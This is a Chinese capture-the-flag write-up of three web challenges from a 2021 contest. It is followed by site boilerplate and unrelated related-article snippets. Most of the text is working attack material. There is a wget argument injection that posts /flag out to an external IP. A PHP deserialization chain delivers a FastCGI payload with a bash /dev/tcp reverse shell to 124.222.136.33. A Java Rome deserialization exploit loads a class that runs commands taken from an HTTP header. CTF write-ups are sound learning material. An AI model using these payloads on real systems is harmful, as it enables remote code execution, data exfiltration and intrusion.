【Web】陇原战“疫“2021网络安全大赛 题解

目录

CheckIN

eaaasyphp

EasyJaba


CheckIN

拿到附件,贴出关键代码

func getController(c *gin.Context) {cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)err := cmd.Run()if err != nil {fmt.Println("error: ", err)}c.String(http.StatusOK, "Nothing")
}router.GET("/wget", getController)

wget也可以外带数据,详见贴出的文章

哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云

/wget路由无需鉴权,可直接打 

 payload:

/wget?argv=Z3r4y&argv=--post-file&argv=/flag&argv=http://124.222.136.33:1337

监听,接收到外带的数据 

 

eaaasyphp

题目给到源码

<?phpclass Check {public static $str1 = false;public static $str2 = false;
}class Esle {public function __wakeup(){Check::$str1 = true;}
}class Hint {public function __wakeup(){$this->hint = "no hint";}public function __destruct(){if(!$this->hint){$this->hint = "phpinfo";($this->hint)();}  }
}class Bunny {public function __toString(){if (Check::$str2) {if(!$this->data){$this->data = $_REQUEST['data'];}file_put_contents($this->filename, $this->data);} else {throw new Error("Error");}}
}class Welcome {public function __invoke(){Check::$str2 = true;return "Welcome" . $this->username;}
}class Bypass {public function __destruct(){if (Check::$str1) {($this->str4)();} else {throw new Error("Error");}}
}if (isset($_GET['code'])) {unserialize($_GET['code']);
} else {highlight_file(__FILE__);
}

瞪眼看链子

Bypass::__destruct->Welcome::__invoke->Bunny::__toString->file_put_contents($this->filename, $this->data);

经过尝试靶机没权限写文件,于是考虑file_put_contents打fastcgi

 Fastcgi 协议分析与 PHP-FPM 攻击方法

拿gopherus生成payload

起一个恶意ftp服务器

 

exp:

<?phpclass Check {public static $str1 = false;public static $str2 = false;
}class Esle {// __wakeup(),执行unserialize()时,先会调用这个函数public function __wakeup(){Check::$str1 = true;}
}class Bunny {public function __toString(){echo "__toString";if (Check::$str2) {if(!$this->data){$this->data = $_REQUEST['data'];}// 利用点// Bypass::__destruct->Welcome::__invoke->Bunny::__toStringfile_put_contents($this->filename, $this->data);} else {throw new Error("Error");}}
}class Welcome {// __invoke(),调用函数的方式调用一个对象时的回应方法public function __invoke(){echo "__invoke";Check::$str2 = true;return "Welcome" . $this->username;}
}class Bypass {public function __construct(){// 自己构造$this->esle = new Esle();}public function __destruct(){echo "__destruct";if (Check::$str1) {// $this->str4 Welcome($this->str4)();} else {throw new Error("Error");}}
}$b1 = new Bunny();
$b1->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/124.222.136.33/1337%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
$b1->filename = "ftp://124.222.136.33:1338/test";$we = new Welcome();
$we->username = $b1;$by = new Bypass();
$by->str4 = $we;echo urlencode(serialize($by));

 payload:

?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22esle%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A4%3A%22data%22%3Bs%3A416%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F124.222.136.33%2F1337+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3Bs%3A8%3A%22filename%22%3Bs%3A30%3A%22ftp%3A%2F%2F124.222.136.33%3A1338%2Ftest%22%3B%7D%7D%7D__destruct

监听,反弹shell,拿flag

 

EasyJaba

靶机不出网,那就是打加载恶意字节码呗

题目有rome依赖和spring依赖

/BackDoor路由下存在反序列化打入点

 

ban掉了HashMap和BadAttributeValueExpException 

 

HashMap类的作用是触发hashCode,而BadAttributeValueExpException类的作用是触发toString,看本题的源码,后续可以直接调用object.toString,上帝在关上一扇门的同时又开了一扇窗。

所以可以直接调toStringBean打Rome反序列化

EXP.java

package com.lyzy.ctf.ezjaba.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;public class EXP {public static byte[] serialize(Object o) throws Exception{try(ByteArrayOutputStream baout = new ByteArrayOutputStream();ObjectOutputStream oout = new ObjectOutputStream(baout)){oout.writeObject(o);return baout.toByteArray();}}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {//恶意字节码byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\das\\target\\classes\\com\\lyzy\\ctf\\ezjaba\\exp\\Evil.class"));TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_name","xxx");  //不能设置为null,不然返回nullsetFieldValue(templates,"_class",null);setFieldValue(templates,"_bytecodes",new byte[][]{code});setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
//        toStringBean.toString();byte[] aaa = serialize(toStringBean);System.out.println(Base64.getEncoder().encodeToString(aaa));}
}

恶意类懒得注内存马,直接打spring回显类

Evil.java

package com.lyzy.ctf.ezjaba.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;public class Evil extends AbstractTranslet
{@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception{Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getResponse");Method m1 = c.getMethod("getRequest");Object resp = m.invoke(o);Object req = m1.invoke(o); // HttpServletRequestMethod getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);getHeader.setAccessible(true);getWriter.setAccessible(true);Object writer = getWriter.invoke(resp);String cmd = (String)getHeader.invoke(req, "cmd");String[] commands = new String[3];String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";if (System.getProperty("os.name").toUpperCase().contains("WIN")) {commands[0] = "cmd";commands[1] = "/c";} else {commands[0] = "/bin/sh";commands[1] = "-c";}commands[2] = cmd;writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());writer.getClass().getDeclaredMethod("flush").invoke(writer);writer.getClass().getDeclaredMethod("close").invoke(writer);}
}

打入,直接回显命令执行结果,拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/625309.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot相关知识点总结

1 SpringBoot的目的 简化开发&#xff0c;开箱即用。 2 Spring Boot Starter Spring Boot Starter 是 Spring Boot 中的一个重要概念&#xff0c;它是一种提供依赖项的方式&#xff0c;可以帮助开发人员快速集成各种第三方库和框架。Spring Boot Starter 的目的是简化 Sprin…

音频---数字mic

一、常见的数字mic pdm麦通过codec芯片将数字麦转换为i2s信号输入到SOC 纯pdm麦就是直接进入SOC的pdm接口&#xff0c;走的是PDM信号&#xff0c;PDM信号就是两个线&#xff0c;一根数据线一根时钟线&#xff08;如顺芯ES7201/7202把MIC信号转换成PDM&#xff09;。 二、DMIC…

设计模式——备忘录模式18

备忘录模式将创建状态快照 /备份的工作委派给实际状态的拥有者 &#xff08;Originator&#xff09; 对象。 这样其他对象就不再需要从 “外部” 复制文件状态了&#xff0c; 拥有者拥有其文件状态的完全访问权&#xff0c; 因此可以自行生成快照。 设计模式&#xff0c;一定要…

解决nginx日志过大问题

1. 问题点 nginx默认的日志在logs/access.log&#xff0c;并且是一直累加写入&#xff0c;时间长了就会非常大&#xff0c;占用过多的硬盘&#xff0c;如果强行删除是很不友好的&#xff0c;需要重启服务&#xff1b; 2. 文件分割 上图文件已经达到了十个G左右 处理的思路肯定…

PyTorch深度学习入门-2

PyTorch深度学习快速入门教程&#xff08;绝对通俗易懂&#xff01;&#xff09;【小土堆】_哔哩哔哩_bilibili 一、神经网络的基本骨架 --nn.Module Neutral network torch.nn — PyTorch 2.2 documentation * import torch from torch import nnclass xiaofan(nn.Module):…

【LeetCode: 785. 判断二分图 + bfs】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

BLE架构图

PHY层(Physical layer 物理层) PHY层用来指定BLE所用的无线频段(2.4G)&#xff0c;调制解调方式和方法、跳频等。PHY层的性能直接决定整个BLE芯片的功耗、灵敏度以及selectivity等射频指标。 LL层(Link Layer 链路层) 链路层主要是对RF射频控制。链路层定义了协议栈中最为基础的…

动态规划Dynamic programming详解-背包问题【python】

作者介绍&#xff1a;10年大厂数据\经营分析经验&#xff0c;现任大厂数据部门负责人。 会一些的技术&#xff1a;数据分析、算法、SQL、大数据相关、python 欢迎加入社区&#xff1a;码上找工作 作者专栏每日更新&#xff1a;LeetCode解锁1000题: 打怪升级之旅python数据分析可…

为什么科拓停车选择OceanBase来构建智慧停车SaaS应用

本文来自OceanBase的客户——拓客停车的实践分享 科拓停车简介与业务背景 作为智慧停车行业的佼佼者&#xff0c;科拓停车致力于提供全方位的智慧停车解决方案。服务涵盖车场运营管理、互联网智慧停车平台以及停车场增值服务等。通过不断研发创新&#xff0c;打造出了多样化的…

回归损失函数

目录 1 MAE 2 MSE 3 MAPE 4 Quantile Loss分位数损失 回归损失函数也可以做为评价指标使用&#xff0c;但是有没有想过数据分布与损失函数之间的关系呢&#xff01; 使用特定损失函数的前提是我们对标签的分布进行了某种假设&#xff0c;在这种假设的前提下通过极大似然法推…

Eclipse中 Maven安装与配置步骤,2024年最新面试总结

先自我介绍一下&#xff0c;小编浙江大学毕业&#xff0c;去过华为、字节跳动等大厂&#xff0c;目前阿里P7 深知大多数程序员&#xff0c;想要提升技能&#xff0c;往往是自己摸索成长&#xff0c;但自己不成体系的自学效果低效又漫长&#xff0c;而且极易碰到天花板技术停滞…

vscode如何方便地添加todo和管理todo

如果想在vscode中更加方便的添加和管理TODO标签&#xff0c;比如添加高亮提醒和查看哪里有TODO标签等&#xff0c;就可以通过安装插件快速实现。 安装插件 VSCode关于TODO使用人数最多的插件是TODO Height和Todo Tree 按住 CtrlShiftX按键进入应用扩展商店&#xff0c;输入to…